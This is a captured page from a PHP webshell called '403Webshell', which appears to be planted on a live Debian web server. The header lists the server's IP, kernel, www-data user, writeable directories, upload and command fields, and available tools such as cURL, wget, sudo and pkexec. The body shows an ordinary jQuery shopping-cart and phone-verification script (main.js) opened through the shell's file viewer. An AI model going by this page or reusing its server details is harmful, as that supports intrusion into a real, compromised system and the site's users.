403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli_new/Citizens_feedback/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli_new/Citizens_feedback/js/main.js
// JavaScript Document
var cart, wishlist;
$(document).ready(function(){
	$('.action-wishlist').click(function(){
		var id=$(this).closest('.product-wrapper, .shop-list-cart-wishlist').attr('ProdNum');
		console.log('wishlist',id);
		blink(this);
		wishlist=GetCookie('wishlist');
		if(wishlist=='') wishlist=new Object;
			else wishlist=JSON.parse(wishlist);
		wishlist[id]=1;
		console.log(wishlist);
		SetCookie('wishlist',JSON.stringify(wishlist),30);
		updateWishlistIcon();
		})
	$('.action-compare, .quick_view').click(function(){
		var id=$(this).closest('.product-wrapper').attr('ProdNum');
		$.ajax({
			url:'/interactive.php',
			type:'POST',
			dataType:'json',
			data:{f:'getProduct',id:id,LangChar:LangChar}
			})
		.fail(function(data){
			console.log('getProduct FAIL',data);
			})
		.done(function(data){
			// console.log('getProduct DONE',data);
			$('.modal-body .modal-pro-content h3').text(data.Name);
			OldPrice=parseFloat(data.OldPrice);
			if(OldPrice>0)
				$('.modal-body .product-price-old').text(OldPrice+' ₾').show();
				else $('.modal-body .product-price-old').hide();
				
			Price=parseFloat(data.Price);
			$('.modal-body .product-price').text(Price+' ₾');
			$('.modal-pro-content > p').html(data.Description);
			Count=data.Count;
			$('.modal-body .cart-plus-minus-box').attr('max',Count).val(1);
			$('.modal-body .product-quantity button').attr('onClick',"addToCart("+data.ID+",$('.cart-plus-minus-box').val()); blink(this)");
			$('.modal-body .cart-plus-minus-box').on('change',function(){
				var min=parseInt($(this).attr('min'));
				var max=parseInt($(this).attr('max'));
				var val=parseInt($(this).val());
				if(val<min) $(this).val(min);
				if(val>max) $(this).val(max);
				});
			Photos=data.Photos;
			$('.modal-body .tab-content').html('');
			$('.modal-body .thumb-menu').html('');
			var html='';
			var html2='';
			$(Photos).each(function(n,e){
				html+='<div id="pro-'+(n+1)+'" class="tab-pane fade';
				html2+='<a data-toggle="tab" href="#pro-1"';
				if(n==0) {
					html+=' show active';
					html2+='class="active';
					}
				html+='"><img src="/'+e+'" alt=""></div>';
				html2+='"><img src="/'+e.replace('.jpg','s.jpg')+'" alt=""></a>';
				})
			$('.modal-body .tab-content').html(html);
			$('.modal-body .thumb-menu').html(html2);
			});
		// return false;
		});
	cart=GetCookie('cart');
	if(cart=='') cart=new Object;
		else cart=JSON.parse(cart);
	
	wishlist=GetCookie('wishlist');
	if(wishlist=='') wishlist=new Object;
		else wishlist=JSON.parse(wishlist);
	
	updateCartIcon();
	updateWishlistIcon();
	
	$('.header-cart')
		.mouseover(function(e){
			var cc=getCartCode();
			var cc0=$(this).attr('cartcode');
			if(cc==''){
				$('.empty-shopping-cart').show();
				$('.shopping-cart-items').hide();
				}else
			if(cc!=cc0){
				$.ajax({
					url:'/interactive.php',
					type:'POST',
					dataType:'json',
					data:{f:'getCart',cart:cart,lang:LangChar}
					})
				.fail(function(data){
					console.log('FAIL:',data);
					})
				.done(function(data){
					// console.log('DONE:',data,typeof(data));
					if($(data).length>0){
						var sum=0;
						var html=''; 
						var Qty=$('.shopping-cart-content').attr('Qty');
						$.each(data,function(id,inf){
							// console.log(inf);
							html+='<li class="single-shopping-cart" code="P'+id+'">';
							html+='	<div class="shopping-cart-img">';
							html+='		<a href="/'+Lang+'/product/'+id+'"><img alt="" src="/'+inf.Photo+'"></a>';
							html+='	</div>';
							html+='	<div class="shopping-cart-title">';
							html+='	<h4><a href="#">'+inf.Name+'</a></h4>';
							html+='		<h6>'+Qty+': '+inf.Count+'</h6>';
							html+='		<span>'+inf.Price+' ₾</span>'; 
							html+='	</div>';
							html+='	<div class="shopping-cart-delete">';
							html+='		<a href="#"><i class="ion ion-close"></i></a>';
							html+='	</div>';
							html+='</li>';
							sum+=inf.Price*inf.Count;
						});
						
						$('.shopping-cart-items ul').html(html);
						$('.shopping-cart-items').show();
						$('.header-cart').attr('cartCode',cc);
						$('.empty-shopping-cart').hide();
						$('.shop-total').text(sum+' ₾');
						$('.single-shopping-cart .ion.ion-close').click(function(){deleteCartItem(this);});
						}else{
						$('.empty-shopping-cart').show();
						$('.shopping-cart-items').hide();
						}
					});
				}
			$(this).addClass('hover');
			})
		.mouseout(function(){
			$(this).removeClass('hover');
			});
	});
function clearCart(){
	cart=new Object;
	SetCookie('cart',JSON.stringify(cart),30);
	location=location;
	}
function deleteCartItem(src){
	//console.log(src);
	code=$(src).closest('.single-shopping-cart').attr('code');
	delete cart[code];
	//console.log(cart);
	SetCookie('cart',JSON.stringify(cart),30);
	$(src).closest('.single-shopping-cart').remove();
	updateCartIcon();
	}

function deleteCartItem2(code){
	delete cart[code];
	SetCookie('cart',JSON.stringify(cart),30);
	updateCartIcon();
	}
function deleteWishlistItem(code){
	delete wishlist[code];
	SetCookie('wishlist',JSON.stringify(wishlist),30);
	updateWishlistIcon();
	}
function updateCartIcon(){
	if(Object.keys(cart).length>0)
		$('.ti-shopping-cart .after').text(Object.keys(cart).length).show();
		else $('.ti-shopping-cart .after').hide();
	}

function updateWishlistIcon(){
	if(Object.keys(wishlist).length>0)
		$('.ti-wishlist .after').text(Object.keys(wishlist).length).show();
		else $('.ti-wishlist .after').hide();
	}

function getCartCode(){
	cc='';
	$.each(cart,function(i,e){
		cc+='|'+i+'|'+e;
		})
	return cc;
	}
function ok(){ console.log('Ok'); }
function blink(src){
	$(src).blink(3);
	}

$.fn.blink = function (count, tr=false) {
    var $this = $(this);
    count = count - 1 || 0;
	if(!tr)
		var tr=$this.css('transition');
	$this.css({'transition':'none'});
    $this.animate({opacity: .1}, 100, function () {
        $this.animate({opacity: 1}, 100, function () {
            if (count > 0) 
                $this.blink(count,tr);
				else $this.css({'transition':tr, 'opacity':''});
            
        });
    });
};
function addToCart(id,k=1){
	id='P'+id;
	k=parseInt(k);
	console.log(id,k);
	if(typeof(cart[id])!='undefined') cart[id]+=k; else cart[id]=k;
	SetCookie('cart',JSON.stringify(cart),30);
	updateCartIcon();
	}



var TO=false;
$(document).ready(function(){
	$('#getCode').click(function(){
		Phone=$('#Phone').val();
		if(!$(this).hasClass('disabled'))
		if(Phone!='')
			$.ajax({
				url:'/interactive.php',
				dataType:'json',
				type:'POST',
				data:{f:'getCode',Phone:Phone,Lang:Lang}
				})
			.done(function(data){
				// console.log('done',data);
				if(data.sent==1){
					$('.checkPhone .info').text(data.text);
					$('.checkPhone #getCode').addClass('disabled');
					$('.checkPhone .checkPhoneInput').focus();
					TO=setTimeout("$('.checkPhone .info').text(''); $('.checkPhone #getCode').removeClass('disabled');",15000);
					$('.checkPhone .checkPhoneInput').focus();
					$('.checkPhone .checkPhoneInput').on('keydown, keyup, keypress',function(c){ 
						// console.log(c); 
						if(c['keyCode']==13) {
							$('.checkPhoneButton').click();  
							return false;
							} 
						})
					}
				else alert(data.text);
				})
			.fail(function(data){
				console.log('fail',data);
				});
		});
	$('#checkCode').click(function(){
		Phone = $('#Phone').val();
		Code = $('.checkPhone .checkPhoneInput').val();
		$.ajax({
			url:'/interactive.php',
			dataType:'json',
			type:'POST',
			data:{f:'checkCode', Phone:Phone, Code:Code, Lang:Lang}
			})
		.done(function(data){
			if(data.check==1){
				$('.checkPhone #getCode, .checkPhone #checkCode').addClass('disabled');
				$('.checkPhoneInput, #Phone').attr('readonly',1).attr('checked',1);
				clearTimeout(TO);
				$('form#BuyerForm').submit();
				}
			$('.checkPhone .info').text(data.text);
			setTimeout("$('.checkPhone .info').text('');",15000);
			// console.log('done',data);
			})
		.fail(function(data){
			console.log('fail',data);
			});
		});
	});

Youez - 2016 - github.com/yon3zu
LinuXploit